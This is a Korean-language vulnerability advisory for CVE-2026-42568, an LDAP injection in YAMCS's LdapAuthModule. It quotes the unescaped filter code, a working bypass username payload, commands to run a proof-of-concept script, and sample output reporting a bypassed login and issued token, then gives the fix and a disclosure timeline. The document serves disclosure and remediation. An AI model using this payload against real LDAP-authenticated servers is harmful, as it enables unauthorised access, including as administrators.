
org.yamcs.security.LdapAuthModule에 LDAP 인젝션 취약점이 존재합니다. 사용자 이름 매개변수가 RFC 4515 이스케이프 없이 LDAP 검색 필터에 직접 삽입되어 인증 우회가 가능합니다.
| 필드 | 값 |
|---|
| CVE | CVE-2026-42568 |
| 심각도 | MEDIUM |
| CWE | CWE-90: LDAP 쿼리에서 특수 요소의 부적절한 중립화 |
| 영향받는 버전 | yamcs-core < 5.12.7 (LDAP 인증이 구성된 경우) |
| 수정 버전 | yamcs-core 5.12.7 |
| 권고 | GHSA-cqh3-jg8p-336j |
근본 원인 (LdapAuthModule.java):
var filter = userFilter.replace("{0}", username);
// username inserted directly — no RFC 4515 escaping
일반적인 userFilter가 (uid={0})인 경우, 악의적인 사용자 이름이 필터 구조를 깨뜨립니다:
Input: *)(uid=*))(|(uid=*
Filter: (uid=*)(uid=*))(|(uid=*)
Result: Universal match — authentication bypassed
pip install requests
python3 poc.py http://localhost:8090
취약한 인스턴스에서의 예상 출력 (LDAP 구성 시):
[1] Universal bypass (any account)
Username: *)(uid=*))(|(uid=*
Password: anything
Result: HTTP 200
[!!!] AUTHENTICATION BYPASSED
[!!!] Token received: eyJhbGciOiJSUzI1NiJ9...
참고: 이 취약점은
LdapAuthModule이 구성된 YAMCS 인스턴스에만 영향을 미칩니다. 기본 제공 인증을 사용하는 기본 설치는 영향을 받지 않습니다.
인증되지 않은 공격자가 YAMCS 서버에 접근할 수 있는 경우, LDAP 인증이 구성되어 있으면 인증을 완전히 우회하여 관리자를 포함한 임의의 사용자로 접근할 수 있습니다.
yamcs-core >= 5.12.7로 업그레이드하십시오.
수정 사항은 LDAP 필터를 구성하기 전에 사용자 이름에 RFC 4515 이스케이프를 적용합니다.
| 날짜 | 사건 |
|---|---|
| 2026-05 | 취약점 보고 |
| 2026-05-26 | yamcs-core 5.12.7에서 수정 릴리스 |
| 2026-05-26 | 공개 권고 게시 |
Daniel Miranda Barcelona (Excal1bur)